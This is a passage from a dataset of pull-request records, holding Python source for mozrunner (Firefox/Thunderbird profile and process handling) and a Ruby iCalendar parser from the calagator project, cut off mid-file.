os.mkdir(name)\n    except:\n        pass\n\n# addon_details() copied from mozprofile\ndef addon_details(install_rdf_fh):\n    \"\"\"\n    returns a dictionary of details about the addon\n    - addon_path : path to the addon directory\n    Returns:\n    {'id':      u'rainbow@colors.org', # id of the addon\n     'version': u'1.4',                # version of the addon\n     'name':    u'Rainbow',            # name of the addon\n     'unpack': # whether to unpack the addon\n    \"\"\"\n\n    details = {\n        'id': None,\n        'unpack': False,\n        'name': None,\n        'version': None\n    }\n\n    def get_namespace_id(doc, url):\n        attributes = doc.documentElement.attributes\n        namespace = \"\"\n        for i in range(attributes.length):\n            if attributes.item(i).value == url:\n                if \":\" in attributes.item(i).name:\n                    # If the namespace is not the default one remove 'xlmns:'\n                    namespace = attributes.item(i).name.split(':')[1] + \":\"\n                    break\n        return namespace\n\n    def get_text(element):\n        \"\"\"Retrieve the text value of a given node\"\"\"\n        rc = []\n        for node in element.childNodes:\n            if node.nodeType == node.TEXT_NODE:\n                rc.append(node.data)\n        return ''.join(rc).strip()\n\n    doc = minidom.parse(install_rdf_fh)\n\n    # Get the namespaces abbreviations\n    em = get_namespace_id(doc, \"http://www.mozilla.org/2004/em-rdf#\")\n    rdf = get_namespace_id(doc, \"http://www.w3.org/1999/02/22-rdf-syntax-ns#\")\n\n    description = doc.getElementsByTagName(rdf + \"Description\").item(0)\n    for node in description.childNodes:\n        # Remove the namespace prefix from the tag for comparison\n        entry = node.nodeName.replace(em, \"\")\n        if entry in details.keys():\n            details.update({ entry: get_text(node) })\n\n    # turn unpack into a true/false value\n    if isinstance(details['unpack'], basestring):\n        details['unpack'] = details['unpack'].lower() == 'true'\n\n    return details\n\nclass Profile(object):\n    \"\"\"Handles all operations regarding profile. Created new profiles, installs extensions,\n    sets preferences and handles cleanup.\"\"\"\n\n    def __init__(self, binary=None, profile=None, addons=None,\n                 preferences=None):\n\n        self.binary = binary\n\n        self.create_new = not(bool(profile))\n        if profile:\n            self.profile = profile\n        else:\n            self.profile = self.create_new_profile(self.binary)\n\n        self.addons_installed = []\n        self.addons = addons or []\n\n        ### set preferences from class preferences\n        preferences = preferences or {}\n        if hasattr(self.__class__, 'preferences'):\n            self.preferences = self.__class__.preferences.copy()\n        else:\n            self.preferences = {}\n        self.preferences.update(preferences)\n\n        for addon in self.addons:\n            self.install_addon(addon)\n\n        self.set_preferences(self.preferences)\n\n    def create_new_profile(self, binary):\n        \"\"\"Create a new clean profile in tmp which is a simple empty folder\"\"\"\n        profile = tempfile.mkdtemp(suffix='.mozrunner')\n        return profile\n\n    def unpack_addon(self, xpi_zipfile, addon_path):\n        for name in xpi_zipfile.namelist():\n            if name.endswith('/'):\n                makedirs(os.path.join(addon_path, name))\n            else:\n                if not os.path.isdir(os.path.dirname(os.path.join(addon_path, name))):\n                    makedirs(os.path.dirname(os.path.join(addon_path, name)))\n                data = xpi_zipfile.read(name)\n                f = open(os.path.join(addon_path, name), 'wb')\n                f.write(data) ; f.close()\n                zi = xpi_zipfile.getinfo(name)\n                os.chmod(os.path.join(addon_path,name), (zi.external_attr>>16))\n\n    def install_addon(self, path):\n        \"\"\"Installs the given addon or directory of addons in the profile.\"\"\"\n\n        extensions_path = os.path.join(self.profile, 'extensions')\n        if not os.path.exists(extensions_path):\n            os.makedirs(extensions_path)\n\n        addons = [path]\n        if not path.endswith('.xpi') and not os.path.exists(os.path.join(path, 'install.rdf')):\n            addons = [os.path.join(path, x) for x in os.listdir(path)]\n\n        for addon in addons:\n            if addon.endswith('.xpi'):\n                xpi_zipfile = zipfile.ZipFile(addon, \"r\")\n                details = addon_details(StringIO(xpi_zipfile.read('install.rdf')))\n                addon_path = os.path.join(extensions_path, details[\"id\"])\n                if details.get(\"unpack\", True):\n                    self.unpack_addon(xpi_zipfile, addon_path)\n                    self.addons_installed.append(addon_path)\n                else:\n                    shutil.copy(addon, addon_path + '.xpi')\n            else:\n                # it's already unpacked, but we need to extract the id so we\n                # can copy it\n                details = addon_details(open(os.path.join(addon, \"install.rdf\"), \"rb\"))\n                addon_path = os.path.join(extensions_path, details[\"id\"])\n                shutil.copytree(addon, addon_path, symlinks=True)\n\n    def set_preferences(self, preferences):\n        \"\"\"Adds preferences dict to profile preferences\"\"\"\n        prefs_file = os.path.join(self.profile, 'user.js')\n        # Ensure that the file exists first otherwise create an empty file\n        if os.path.isfile(prefs_file):\n            f = open(prefs_file, 'a+')\n        else:\n            f = open(prefs_file, 'w')\n\n        f.write('\\n#MozRunner Prefs Start\\n')\n\n        pref_lines = ['user_pref(%s, %s);' %\n                      (simplejson.dumps(k), simplejson.dumps(v) ) for k, v in\n                       preferences.items()]\n        for line in pref_lines:\n            f.write(line+'\\n')\n        f.write('#MozRunner Prefs End\\n')\n        f.flush() ; f.close()\n\n    def pop_preferences(self):\n        \"\"\"\n        pop the last set of preferences added\n        returns True if popped\n        \"\"\"\n\n        # our magic markers\n        delimeters = ('#MozRunner Prefs Start', '#MozRunner Prefs End')\n\n        lines = file(os.path.join(self.profile, 'user.js')).read().splitlines()\n        def last_index(_list, value):\n            \"\"\"\n            returns the last index of an item;\n            this should actually be part of python code but it isn't\n            \"\"\"\n            for index in reversed(range(len(_list))):\n                if _list[index] == value:\n                    return index\n        s = last_index(lines, delimeters[0])\n        e = last_index(lines, delimeters[1])\n\n        # ensure both markers are found\n        if s is None:\n            assert e is None, '%s found without %s' % (delimeters[1], delimeters[0])\n            return False # no preferences found\n        elif e is None:\n            assert e is None, '%s found without %s' % (delimeters[0], delimeters[1])\n\n        # ensure the markers are in the proper order\n        assert e > s, '%s found at %s, while %s found at %s' % (delimeters[1], e, delimeters[0], s)\n\n        # write the prefs\n        cleaned_prefs = '\\n'.join(lines[:s] + lines[e+1:])\n        f = file(os.path.join(self.profile, 'user.js'), 'w')\n        f.write(cleaned_prefs)\n        f.close()\n        return True\n\n    def clean_preferences(self):\n        \"\"\"Removed preferences added by mozrunner.\"\"\"\n        while True:\n            if not self.pop_preferences():\n                break\n\n    def clean_addons(self):\n        \"\"\"Cleans up addons in the profile.\"\"\"\n        for addon in self.addons_installed:\n            if os.path.isdir(addon):\n                rmtree(addon)\n\n    def cleanup(self):\n        \"\"\"Cleanup operations on the profile.\"\"\"\n        def oncleanup_error(function, path, excinfo):\n            #TODO: How should we handle this?\n            print \"Error Cleaning up: \" + str(excinfo[1])\n        if self.create_new:\n            shutil.rmtree(self.profile, False, oncleanup_error)\n        else:\n            self.clean_preferences()\n            self.clean_addons()\n\nclass FirefoxProfile(Profile):\n    \"\"\"Specialized Profile subclass for Firefox\"\"\"\n    preferences = {# Don't automatically update the application\n                   'app.update.enabled' : False,\n                   # Don't restore the last open set of tabs if the browser has crashed\n                   'browser.sessionstore.resume_from_crash': False,\n                   # Don't check for the default web browser\n                   'browser.shell.checkDefaultBrowser' : False,\n                   # Don't warn on exit when multiple tabs are open\n                   'browser.tabs.warnOnClose' : False,\n                   # Don't warn when exiting the browser\n                   'browser.warnOnQuit': False,\n                   # Only install add-ons from the profile and the app folder\n                   'extensions.enabledScopes' : 5,\n                   # Don't automatically update add-ons\n                   'extensions.update.enabled'    : False,\n                   # Don't open a dialog to show available add-on updates\n                   'extensions.update.notifyUser' : False,\n                   }\n\n    # The possible names of application bundles on Mac OS X, in order of\n    # preference from most to least preferred.\n    # Note: Nightly is obsolete, as it has been renamed to FirefoxNightly,\n    # but it will still be present if users update an older nightly build\n    # via the app update service.\n    bundle_names = ['Firefox', 'FirefoxNightly', 'Nightly']\n\n    # The possible names of binaries, in order of preference from most to least\n    # preferred.\n    @property\n    def names(self):\n        if sys.platform == 'darwin':\n            return ['firefox', 'nightly', 'shiretoko']\n        if (sys.platform == 'linux2') or (sys.platform in ('sunos5', 'solaris')):\n            return ['firefox', 'mozilla-firefox', 'iceweasel']\n        if os.name == 'nt' or sys.platform == 'cygwin':\n            return ['firefox']\n\nclass ThunderbirdProfile(Profile):\n    preferences = {'extensions.update.enabled'    : False,\n                   'extensions.update.notifyUser' : False,\n                   'browser.shell.checkDefaultBrowser' : False,\n                   'browser.tabs.warnOnClose' : False,\n                   'browser.warnOnQuit': False,\n                   'browser.sessionstore.resume_from_crash': False,\n                   }\n\n    # The possible names of application bundles on Mac OS X, in order of\n    # preference from most to least preferred.\n    bundle_names = [\"Thunderbird\", \"Shredder\"]\n\n    # The possible names of binaries, in order of preference from most to least\n    # preferred.\n    names = [\"thunderbird\", \"shredder\"]\n\n\nclass Runner(object):\n    \"\"\"Handles all running operations. Finds bins, runs and kills the process.\"\"\"\n\n    def __init__(self, binary=None, profile=None, cmdargs=[], env=None,\n                 kp_kwargs={}):\n        if binary is None:\n            self.binary = self.find_binary()\n        elif sys.platform == 'darwin' and binary.find('Contents/MacOS/') == -1:\n            self.binary = os.path.join(binary, 'Contents/MacOS/%s-bin' % self.names[0])\n        else:\n            self.binary = binary\n\n        if not os.path.exists(self.binary):\n            raise Exception(\"Binary path does not exist \"+self.binary)\n\n        if sys.platform == 'linux2' and self.binary.endswith('-bin'):\n            dirname = os.path.dirname(self.binary)\n            if os.environ.get('LD_LIBRARY_PATH', None):\n                os.environ['LD_LIBRARY_PATH'] = '%s:%s' % (os.environ['LD_LIBRARY_PATH'], dirname)\n            else:\n                os.environ['LD_LIBRARY_PATH'] = dirname\n\n        # Disable the crash reporter by default\n        os.environ['MOZ_CRASHREPORTER_NO_REPORT'] = '1'\n\n        self.profile = profile\n\n        self.cmdargs = cmdargs\n        if env is None:\n            self.env = copy.copy(os.environ)\n            self.env.update({'MOZ_NO_REMOTE':\"1\",})\n        else:\n            self.env = env\n        self.kp_kwargs = kp_kwargs or {}\n\n    def find_binary(self):\n        \"\"\"Finds the binary for self.names if one was not provided.\"\"\"\n        binary = None\n        if sys.platform in ('linux2', 'sunos5', 'solaris') \\\n                or sys.platform.startswith('freebsd'):\n            for name in reversed(self.names):\n                binary = findInPath(name)\n        elif os.name == 'nt' or sys.platform == 'cygwin':\n\n            # find the default executable from the windows registry\n            try:\n                import _winreg\n            except ImportError:\n                pass\n            else:\n                sam_flags = [0]\n                # KEY_WOW64_32KEY etc only appeared in 2.6+, but that's OK as\n                # only 2.6+ has functioning 64bit builds.\n                if hasattr(_winreg, \"KEY_WOW64_32KEY\"):\n                    if \"64 bit\" in sys.version:\n                        # a 64bit Python should also look in the 32bit registry\n                        sam_flags.append(_winreg.KEY_WOW64_32KEY)\n                    else:\n                        # possibly a 32bit Python on 64bit Windows, so look in\n                        # the 64bit registry incase there is a 64bit app.\n                        sam_flags.append(_winreg.KEY_WOW64_64KEY)\n                for sam_flag in sam_flags:\n                    try:\n                        # assumes self.app_name is defined, as it should be for\n                        # implementors\n                        keyname = r\"Software\\Mozilla\\Mozilla %s\" % self.app_name\n                        sam = _winreg.KEY_READ | sam_flag\n                        app_key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, keyname, 0, sam)\n                        version, _type = _winreg.QueryValueEx(app_key, \"CurrentVersion\")\n                        version_key = _winreg.OpenKey(app_key, version + r\"\\Main\")\n                        path, _ = _winreg.QueryValueEx(version_key, \"PathToExe\")\n                        return path\n                    except _winreg.error:\n                        pass\n\n            # search for the binary in the path            \n            for name in reversed(self.names):\n                binary = findInPath(name)\n                if sys.platform == 'cygwin':\n                    program_files = os.environ['PROGRAMFILES']\n                else:\n                    program_files = os.environ['ProgramFiles']\n\n                if binary is None:\n                    for bin in [(program_files, 'Mozilla Firefox', 'firefox.exe'),\n                                (os.environ.get(\"ProgramFiles(x86)\"),'Mozilla Firefox', 'firefox.exe'),\n                                (program_files, 'Nightly', 'firefox.exe'),\n                                (os.environ.get(\"ProgramFiles(x86)\"),'Nightly', 'firefox.exe'),\n                                (program_files, 'Aurora', 'firefox.exe'),\n                                (os.environ.get(\"ProgramFiles(x86)\"),'Aurora', 'firefox.exe')\n                                ]:\n                        path = os.path.join(*bin)\n                        if os.path.isfile(path):\n                            binary = path\n                            break\n        elif sys.platform == 'darwin':\n            for bundle_name in self.bundle_names:\n                # Look for the application bundle in the user's home directory\n                # or the system-wide /Applications directory.  If we don't find\n                # it in one of those locations, we move on to the next possible\n                # bundle name.\n                appdir = os.path.join(\"~/Applications/%s.app\" % bundle_name)\n                if not os.path.isdir(appdir):\n                    appdir = \"/Applications/%s.app\" % bundle_name\n                if not os.path.isdir(appdir):\n                    continue\n\n                # Look for a binary with any of the possible binary names\n                # inside the application bundle.\n                for binname in self.names:\n                    binpath = os.path.join(appdir,\n                                           \"Contents/MacOS/%s-bin\" % binname)\n                    if (os.path.isfile(binpath)):\n                        binary = binpath\n                        break\n\n                if binary:\n                    break\n\n        if binary is None:\n            raise Exception('Mozrunner could not locate your binary, you will need to set it.')\n        return binary\n\n    @property\n    def command(self):\n        \"\"\"Returns the command list to run.\"\"\"\n        cmd = [self.binary, '-profile', self.profile.profile]\n        # On i386 OS X machines, i386+x86_64 universal binaries need to be told\n        # to run as i386 binaries.  If we're not running a i386+x86_64 universal\n        # binary, then this command modification is harmless.\n        if sys.platform == 'darwin':\n            if hasattr(platform, 'architecture') and platform.architecture()[0] == '32bit':\n                cmd = ['arch', '-i386'] + cmd\n        return cmd\n\n    def get_repositoryInfo(self):\n        \"\"\"Read repository information from application.ini and platform.ini.\"\"\"\n        import ConfigParser\n\n        config = ConfigParser.RawConfigParser()\n        dirname = os.path.dirname(self.binary)\n        repository = { }\n\n        for entry in [['application', 'App'], ['platform', 'Build']]:\n            (file, section) = entry\n            config.read(os.path.join(dirname, '%s.ini' % file))\n\n            for entry in [['SourceRepository', 'repository'], ['SourceStamp', 'changeset']]:\n                (key, id) = entry\n\n                try:\n                    repository['%s_%s' % (file, id)] = config.get(section, key);\n                except:\n                    repository['%s_%s' % (file, id)] = None\n\n        return repository\n\n    def start(self):\n        \"\"\"Run self.command in the proper environment.\"\"\"\n        if self.profile is None:\n            self.profile = self.profile_class()\n        self.process_handler = run_command(self.command+self.cmdargs, self.env, **self.kp_kwargs)\n\n    def wait(self, timeout=None):\n        \"\"\"Wait for the browser to exit.\"\"\"\n        self.process_handler.wait(timeout=timeout)\n\n        if sys.platform != 'win32':\n            for name in self.names:\n                for pid in get_pids(name, self.process_handler.pid):\n                    self.process_handler.pid = pid\n                    self.process_handler.wait(timeout=timeout)\n\n    def kill(self, kill_signal=signal.SIGTERM):\n        \"\"\"Kill the browser\"\"\"\n        if sys.platform != 'win32':\n            self.process_handler.kill()\n            for name in self.names:\n                for pid in get_pids(name, self.process_handler.pid):\n                    self.process_handler.pid = pid\n                    self.process_handler.kill()\n        else:\n            try:\n                self.process_handler.kill(group=True)\n                # On windows, it sometimes behooves one to wait for dust to settle\n                # after killing processes.  Let's try that.\n                # TODO: Bug 640047 is invesitgating the correct way to handle this case\n                self.process_handler.wait(timeout=10)\n            except Exception, e:\n                logger.error('Cannot kill process, '+type(e).__name__+' '+e.message)\n\n    def stop(self):\n        self.kill()\n\nclass FirefoxRunner(Runner):\n    \"\"\"Specialized Runner subclass for running Firefox.\"\"\"\n\n    app_name = 'Firefox'\n    profile_class = FirefoxProfile\n\n    # The possible names of application bundles on Mac OS X, in order of\n    # preference from most to least preferred.\n    # Note: Nightly is obsolete, as it has been renamed to FirefoxNightly,\n    # but it will still be present if users update an older nightly build\n    # only via the app update service.\n    bundle_names = ['Firefox', 'FirefoxNightly', 'Nightly']\n\n    @property\n    def names(self):\n        if sys.platform == 'darwin':\n            return ['firefox', 'nightly', 'shiretoko']\n        if sys.platform in ('linux2', 'sunos5', 'solaris') \\\n                or sys.platform.startswith('freebsd'):\n            return ['firefox', 'mozilla-firefox', 'iceweasel']\n        if os.name == 'nt' or sys.platform == 'cygwin':\n            return ['firefox']\n\nclass ThunderbirdRunner(Runner):\n    \"\"\"Specialized Runner subclass for running Thunderbird\"\"\"\n\n    app_name = 'Thunderbird'\n    profile_class = ThunderbirdProfile\n\n    # The possible names of application bundles on Mac OS X, in order of\n    # preference from most to least preferred.\n    bundle_names = [\"Thunderbird\", \"Shredder\"]\n\n    # The possible names of binaries, in order of preference from most to least\n    # preferred.\n    names = [\"thunderbird\", \"shredder\"]\n\nclass CLI(object):\n    \"\"\"Command line interface.\"\"\"\n\n    runner_class = FirefoxRunner\n    profile_class = FirefoxProfile\n    module = \"mozrunner\"\n\n    parser_options = {(\"-b\", \"--binary\",): dict(dest=\"binary\", help=\"Binary path.\",\n                                                metavar=None, default=None),\n                      ('-p', \"--profile\",): dict(dest=\"profile\", help=\"Profile path.\",\n                                                 metavar=None, default=None),\n                      ('-a', \"--addons\",): dict(dest=\"addons\", \n                                                help=\"Addons paths to install.\",\n                                                metavar=None, default=None),\n                      (\"--info\",): dict(dest=\"info\", default=False,\n                                        action=\"store_true\",\n                                        help=\"Print module information\")\n                     }\n\n    def __init__(self):\n        \"\"\" Setup command line parser and parse arguments \"\"\"\n        self.metadata = self.get_metadata_from_egg()\n        self.parser = optparse.OptionParser(version=\"%prog \" + self.metadata[\"Version\"])\n        for names, opts in self.parser_options.items():\n            self.parser.add_option(*names, **opts)\n        (self.options, self.args) = self.parser.parse_args()\n\n        if self.options.info:\n            self.print_metadata()\n            sys.exit(0)\n            \n        # XXX should use action='append' instead of rolling our own\n        try:\n            self.addons = self.options.addons.split(',')\n        except:\n            self.addons = []\n            \n    def get_metadata_from_egg(self):\n        import pkg_resources\n        ret = {}\n        dist = pkg_resources.get_distribution(self.module)\n        if dist.has_metadata(\"PKG-INFO\"):\n            for line in dist.get_metadata_lines(\"PKG-INFO\"):\n                key, value = line.split(':', 1)\n                ret[key] = value\n        if dist.has_metadata(\"requires.txt\"):\n            ret[\"Dependencies\"] = \"\\n\" + dist.get_metadata(\"requires.txt\")    \n        return ret\n        \n    def print_metadata(self, data=(\"Name\", \"Version\", \"Summary\", \"Home-page\", \n                                   \"Author\", \"Author-email\", \"License\", \"Platform\", \"Dependencies\")):\n        for key in data:\n            if key in self.metadata:\n                print key + \": \" + self.metadata[key]\n\n    def create_runner(self):\n        \"\"\" Get the runner object \"\"\"\n        runner = self.get_runner(binary=self.options.binary)\n        profile = self.get_profile(binary=runner.binary,\n                                   profile=self.options.profile,\n                                   addons=self.addons)\n        runner.profile = profile\n        return runner\n\n    def get_runner(self, binary=None, profile=None):\n        \"\"\"Returns the runner instance for the given command line binary argument\n        the profile instance returned from self.get_profile().\"\"\"\n        return self.runner_class(binary, profile)\n\n    def get_profile(self, binary=None, profile=None, addons=None, preferences=None):\n        \"\"\"Returns the profile instance for the given command line arguments.\"\"\"\n        addons = addons or []\n        preferences = preferences or {}\n        return self.profile_class(binary, profile, addons, preferences)\n\n    def run(self):\n        runner = self.create_runner()\n        self.start(runner)\n        runner.profile.cleanup()\n\n    def start(self, runner):\n        \"\"\"Starts the runner and waits for Firefox to exitor Keyboard Interrupt.\n        Shoule be overwritten to provide custom running of the runner instance.\"\"\"\n        runner.start()\n        print 'Started:', ' '.join(runner.command)\n        try:\n            runner.wait()\n        except KeyboardInterrupt:\n            runner.stop()\n\n\ndef cli():\n    CLI().run()\n"}}
{"repo": "aeschright/calagator", "pr_number": 1, "title": "Rical remodel", "state": "closed", "merged_at": "2010-10-30T23:43:55Z", "additions": 1, "deletions": 1, "files_changed": ["app/models/source_parser/ical.rb"], "files_before": {"app/models/source_parser/ical.rb": "class SourceParser # :nodoc:\n  # == SourceParser::Ical\n  #\n  # Reads iCalendar events.\n  #\n  # Example:\n  #   abstract_events = SourceParser::Ical.to_abstract_events('http://upcoming.yahoo.com/calendar/v2/event/349225')\n  #\n  # Sample sources:\n  #   http://upcoming.yahoo.com/calendar/v2/event/349225\n  #   webcal://appendix.23ae.com/calendars/AlternateHolidays.ics\n  #   http://appendix.23ae.com/calendars/AlternateHolidays.ics\n  class Ical < Base\n    label :iCalendar\n\n    # Override Base::read_url to handle \"webcal\" scheme addresses.\n    def self.read_url(url)\n      super(url.gsub(/^webcal:/, 'http:'))\n    end\n    \n    # Helper to set the start and end dates correctly depending on whether it's a floating or fixed timezone\n    def self.dates_for_tz(component, event)\n      if component.dtstart_property.tzid.nil?\n        event.start_time  = Time.parse(component.dtstart_property.value)\n        if component.dtend_property.nil?\n          if component.duration\n            event.end_time = component.duration_property.add_to_date_time_value(event.start_time)\n          else\n            event.end_time = event.start_time\n          end\n        else\n          event.end_time = Time.parse(component.dtend_property.value)\n        end\n      else\n        event.start_time  = component.dtstart\n        event.end_time    = component.dtend\n      end\n    rescue RiCal::InvalidTimezoneIdentifier\n      event.start_time = Time.parse(component.dtstart_property.to_s)\n      event.end_time = Time.parse(component.dtend_property.to_s)\n    end\n\n    CALENDAR_CONTENT_RE    = /^BEGIN:VCALENDAR.*?^END:VCALENDAR/m\n    EVENT_CONTENT_RE       = /^BEGIN:VEVENT.*?^END:VEVENT/m\n    EVENT_DTSTART_RE       = /^DTSTART.*?:([^\\r\\n$]+)/m\n    EVENT_DTEND_RE         = /^DTEND.*?:([^\\r\\n$]+)/m\n    VENUE_CONTENT_RE       = /^BEGIN:VVENUE$.*?^END:VVENUE$/m\n    VENUE_CONTENT_BEGIN_RE = /^BEGIN:VVENUE$/m\n    VENUE_CONTENT_END_RE   = /^END:VVENUE$/m\n    IS_UPCOMING_RE         = /^PRODID:\\W+Upcoming/m\n\n    # Return an Array of AbstractEvent instances extracted from an iCalendar input.\n    #\n    # Options:\n    # * :url -- URL of iCalendar data to import\n    # * :content -- String of iCalendar data to import\n    # * :skip_old -- Should old events be skipped? Default is true.\n    def self.to_abstract_events(opts={})\n      # Skip old events by default\n      \n      opts[:skip_old] = true unless opts[:skip_old] == false\n      cutoff = Time.now.yesterday\n\n      content = content_for(opts).gsub(/\\r\\n/, \"\\n\")\n\n      # Provide special handling for Upcoming's broken implementation of iCalendar\n      if content.match(IS_UPCOMING_RE)\n        # Strip out superflous self-referential Upcoming link\n        content.sub!(%r{\\s*\\[\\s*Full details at http://upcoming.yahoo.com/event/\\d+/?\\s*\\]\\s*}m, '')\n\n        # Fix newlines in DESCRIPTION, replace them with escaped '\\n' strings.\n        matches = content.scan(/^(DESCRIPTION:.+?)(?:^\\w+[:;])/m)\n        matches.each do |match|\n          content.sub!(match[0], match[0].strip.gsub(/\\n/, '\\n')+\"\\r\\n\")\n        end\n      end\n\n      events = []\n      content_calendars = RiCal.parse_string(content)\n      content_calendars.each do |content_calendar|\n        content_calendar.events.each_with_index do |component, index|\n          next if opts[:skip_old] && (component.dtend || component.dtstart).to_time < cutoff\n          event             = AbstractEvent.new\n          event.title       = component.summary\n          event.description = component.description\n          event.url         = component.url\n\n          SourceParser::Ical.dates_for_tz(component, event)\n\n          content_venues = content_calendar.to_s.scan(VENUE_CONTENT_RE)\n\n          content_venue = \\\n          begin\n            if content_calendar.to_s.match(%r{VALUE=URI:http://upcoming.yahoo.com/})\n              # Special handling for Upcoming, where each event maps 1:1 to a venue\n              content_venues[index]\n            else\n              begin                \n                # finding the event venue id - VVENUE=V0-001-001423875-1@eventful.com\n                venue_uid = component.location_property.params[\"VVENUE\"]\n                # finding in the content_venues array an item matching the uid\n                venue_uid ? content_venues.find{|content_venue| content_venue.match(/^UID:#{venue_uid}$/m)} : nil\n              rescue Exception => e\n                # Ignore\n                RAILS_DEFAULT_LOGGER.info(\"SourceParser::Ical.to_abstract_events : Failed to parse content_venue for non-Upcoming event -- #{e}\")\n                nil\n              end\n            end\n          end\n\n          event.location = to_abstract_location(content_venue, :fallback => component.location)\n          events << event\n        end\n      end\n\n      return events\n    end\n\n\n    # Return an AbstractLocation extracted from an iCalendar input.\n    #\n    # Arguments:\n    # * value - String with iCalendar data to parse which contains a Vvenue item.\n    #\n    # Options:\n    # * :fallback - String to use as the title for the location if the +value+ doesn't contain a Vvenue.\n    def self.to_abstract_location(value, opts={})\n      value = \"\" if value.nil?\n      a = AbstractLocation.new\n     \n      # VVENUE entries are considered just Vcards,\n      # treating them as such.\n      if vcard_content = value.scan(VENUE_CONTENT_RE).first\n        \n        vcard_hash = parse_vcard_content(vcard_content)\n\n        a.title          = vcard_hash['NAME']\n        a.street_address = vcard_hash['ADDRESS']\n        a.locality       = vcard_hash['CITY']\n        a.region         = vcard_hash['REGION']\n        a.postal_code    = vcard_hash['POSTALCODE']\n        a.country        = vcard_hash['COUNTRY']\n\n        a.latitude, a.longitude = vcard_hash['GEO'].split(/;/).map(&:to_f)\n\n        return a\n      end\n  \n      if opts[:fallback].blank?\n        return nil\n      else\n        a.title = opts[:fallback]\n        return a\n      end\n    end\n  \n\n\n    # Return a vcard_hash from vcard content.\n    #\n    # Arguments:\n    # * value - String with content\n    #\n    #\n    \n    def self.parse_vcard_content(value)\n      vcards = RiCal.parse_string(value)\n     #constrain to 1 vcard per vvenue\n      vcard = vcards.first\n      # this is an interesting call here\n      # RiCal export of nonstandard-outside-of-RFC2445\n      # VVENUE into lines\n     \n      vcard_lines = vcard.export_properties_to(STDOUT)\n      # munges vcard lines  \n      vcard_hash = v_card_munge(vcard_lines)\n\n      return vcard_hash    \n    end\n\n\n    # Return a vcard_hash from vcard_lines.\n    #\n    # Arguments:\n    # * value - vcard_lines\n    #\n    # \n    # \n\n    def self.v_card_munge(value)\n      vcard_hash = value.mash do |line|\n        # predeclare key, value in case no match\n        key = ''\n        value = ''\n        # if line is of the form key:value\n        # where the line has at least one colon\n        # do a non-greedy capture of chars not colon\n        # followed by a promiscuous match of remaining chars \n        if line.match(/^([^:]+?):(.*)$/)\n          key = $1\n          value = $2\n          # if the key has a semi-colon, it is, by spec, \n          # followed by a meta-qualifier;  \n          # in all cases, we only want the key and not the qualifier\n          # split always at least returns one item\n          # which will always be the item we want\n          # we only want the first: drop the second on match semi-colon\n          key = key.split(';').first\n        end\n        [key, value]\n      end\n      return vcard_hash\n    end\n\n    #\n  end\nend\n\n\n"}, "files_after": {"app/models/source_parser/ical.rb": "class SourceParser # :nodoc:\n  # == SourceParser::Ical\n  #\n  # Reads iCalendar events.\n  #\n  # Example:\n  #   abstract_events = SourceParser::Ical.to_abstract_events('http://upcoming.yahoo.com/calendar/v2/event/349225')\n  #\n  # Sample sources:\n  #   http://upcoming.yahoo.com/calendar/v2/event/349225\n  #   webcal://appendix.23ae.com/calendars/AlternateHolidays.ics\n  #   http://appendix.23ae.com/calendars/AlternateHolidays.ics\n  class Ical < Base\n    label :iCalendar\n\n    # Override Base::read_url to handle \"webcal\" scheme addresses.\n    def self.read_url(url)\n      super(url.gsub(/^webcal:/, 'http:'))\n    end\n    \n    # Helper to set the start and end dates correctly depending on whether it's a floating or fixed timezone\n    def self.dates_for_tz(component, event)\n      if component.dtstart_property.tzid.nil?\n        event.start_time  = Time.parse(component.dtstart_property.value)\n        if component.dtend_property.nil?\n          if component.duration\n            event.end_time = component.duration_property.add_to_date_time_value(event.start_time)\n          else\n            event.end_time = event.start_time\n          end\n        else\n          event.end_time = Time.parse(component.dtend_property.value)\n        end\n      else\n        event.start_time  = component.dtstart\n        event.end_time    = component.dtend\n      end\n    rescue RiCal::InvalidTimezoneIdentifier\n      event.start_time = Time.parse(component.dtstart_property.to_s)\n      event.end_time = Time.parse(component.dtend_property.to_s)\n    end\n\n    CALENDAR_CONTENT_RE    = /^BEGIN:VCALENDAR.*?^END:VCALENDAR/m\n    EVENT_CONTENT_RE       = /^BEGIN:VEVENT.*?^END:VEVENT/m\n    EVENT_DTSTART_RE       = /^DTSTART.*?:([^\\r\\n$]+)/m\n    EVENT_DTEND_RE         = /^DTEND.*?:([^\\r\\n$]+)/m\n    VENUE_CONTENT_RE       = /^BEGIN:VVENUE$.*?^END:VVENUE$/m\n    VENUE_CONTENT_BEGIN_RE = /^BEGIN:VVENUE$/m\n    VENUE_CONTENT_END_RE   = /^END:VVENUE$/m\n    IS_UPCOMING_RE         = /^PRODID:\\W+Upcoming/m\n\n    # Return an Array of AbstractEvent instances extracted from an iCalendar input.\n    #\n    # Options:\n    # * :url -- URL of iCalendar data to import\n    # * :content -- String of iCalendar data to import\n    # * :skip_old -- Should old events be skipped? Default is true.\n    def self.to_abstract_events(opts={})\n      # Skip old events by default\n      \n      opts[:skip_old] = true unless opts[:skip_old] == false\n      cutoff = Time.now.yesterday\n\n      content = content_for(opts).gsub(/\\r\\n/, \"\\n\")\n\n      # Provide special handling for Upcoming's broken implementation of iCalendar\n      if content.match(IS_UPCOMING_RE)\n        # Strip out superflous self-referential Upcoming link\n        content.sub!(%r{\\s*\\[\\s*Full details at http://upcoming.yahoo.com/event/\\d+/?\\s*\\]\\s*}m, '')\n\n        # Fix newlines in DESCRIPTION, replace them with escaped '\\n' strings.\n        matches = content.scan(/^(DESCRIPTION:.+?)(?:^\\w+[:;])/m)\n        matches.each do |match|\n          content.sub!(match[0], match[0].strip.gsub(/\\n/, '\\n')+\"\\r\\n\")\n        end\n      end\n\n      events = []\n      content_calendars = RiCal.parse_string(content)\n      content_calendars.each do |content_calendar|\n        content_calendar.events.each_with_index do |component, index|\n          next if opts[:skip_old] && (component.dtend || component.dtstart).to_time < cutoff\n          event             = AbstractEvent.new\n          event.title       = component.summary\n          event.description = component.description\n          event.url         = component.url\n\n          SourceParser::Ical.dates_for_tz(component, event)\n\n          content_venues = content_calendar.to_s.scan(VENUE_CONTENT_RE)\n\n          content_venue = \\\n          begin\n            if content_calendar.to_s.match(%r{VALUE=URI:http://upcoming.yahoo.com/})\n              # Special handling for Upcoming, where each event maps 1:1 to a venue\n              content_venues[index]\n            else\n              begin                \n                # finding the event venue id - VVENUE=V0-001-001423875-1@eventful.com\n                venue_uid = component.location_property.params[\"VVENUE\"]\n                # finding in the content_venues array an item matching the uid\n                venue_uid ? content_venues.find{|content_venue| content_venue.match(/^UID:#{venue_uid}$/m)} : nil\n              rescue Exception => e\n                # Ignore\n                RAILS_DEFAULT_LOGGER.info(\"SourceParser::Ical.to_abstract_events : Failed to parse 